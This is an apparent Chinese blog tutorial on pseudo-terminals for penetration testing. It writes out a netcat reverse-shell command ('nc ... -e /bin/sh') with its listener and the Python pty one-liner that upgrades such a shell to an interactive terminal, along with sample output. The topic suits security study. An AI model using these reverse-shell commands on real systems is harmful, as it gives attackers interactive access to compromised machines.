python打开伪终端_0xB:伪终端

##伪终端

这一章,我们来讲讲如何使用python做一个伪终端.不过在这之前你需要先了解一点伪终端的意思,还有一些技巧.这个我们会在下面讲到:

伪终端其实就是命令终端(cmd.exe,/bin/sh)通过网络接口反弹给攻击者,或者是新建一个监听端口反弹一个终端给攻击者,值得注意的就是原终端对于标准的输入,输出是不做处理的(stdin/stdout/stderr),同样的反弹的shell也是不对它做处理的.(ssh访问都是直接从键盘上读取).

这意味着有一些特殊的命令能够帮助你反弹shell,像我们最常见的就是使用netcat命令来反弹shell:

#启动netcat监听器

~$ nc -lvp 443

listening on [any] 443 ...

# 使用netcat反弹'/bin/sh'

~$ nc 127.0.0.1 443 -e /bin/sh

现在你可能注意到你看不到一些命令提示,我们输入几个命令试试:

id

uid=1000(kali) gid=1000(kali) groups=1000(kali)

uname -a

Linux kali 3.12-kali1-amd64 #1 SMP Debian 3.12.6-2kali1 (2014-01-06) x86_64 GNU/Linux

ls

bin

boot

dev

etc

home

initrd.img

lib

lib64

media

mnt

opt

proc

root

run

sbin

selinux

srv

sys

tmp

usr

var

上面这些命令运行会很正常,但是当你运行一些需要用户再次输入验证或者是编辑的命令就可能会出现问题, 例如(FTP,SSH,vi等),因为我们虚拟的终端它只有标准的输入输出功能,不会再次返回验证输入. 但是对于写文件我们可以使用echo命令来写入内容,这个对于现实是一点儿也不违和的.

在使用的过程中你也可能已经注意到了,它并有任何的提示性消息给您.这是因为命令的的提示消息是同过STDERR函数来传递的, 而在前面我们也讨论过我们实现的并不是一个原生终端,如果你想执行一些二进制的执行文件,譬如是meterpeter的执行文件就可能会出现错误.

对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端.下面是演示代码.执行第一行前 我还没有进入终端.

python -c "import pty;pty.spawn('/bin/bash')"

kali@kali:/$ uname -a

uname -a

Linux kali 3.12-kali1-amd64 #1 SMP Debian 3.12.6-2kali1 (2014-01-06) x86_64 GNU/Linux

kali@kali:/$ id

id

uid=1000(kali) gid=1000(kali) groups=1000(kali)

kali@kali:/$ ls

ls

bin dev home lib64 opt srv usr

boot initrd.img media proc sbin sys var

etc lib mnt root selinux tmp

kali@kali:/$

-c参数选项允许我们直接在命令终端里面执行指定脚本,上面那段脚本,我使用分号把两行代码合并为了一行.这样写并不为过.还有一点. 就是双引号里面只能使用单引号把/bin/bash引起来,如果使用双引号就出出现语法错误.就像下面这样:

python -c "import pty;pty.spawn("/bin/bash")"

虽然到目前为止写的虚拟终端并没有原生终端那样好,但是花点时间去折腾然后不断的去完善.相信会做的更好. 大家可能在渗透测试的时候会发现有些时候系统的命令终端是不允许直接访问的,那么这个时候用Python虚拟化一个终端相信会让你眼前一亮.

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值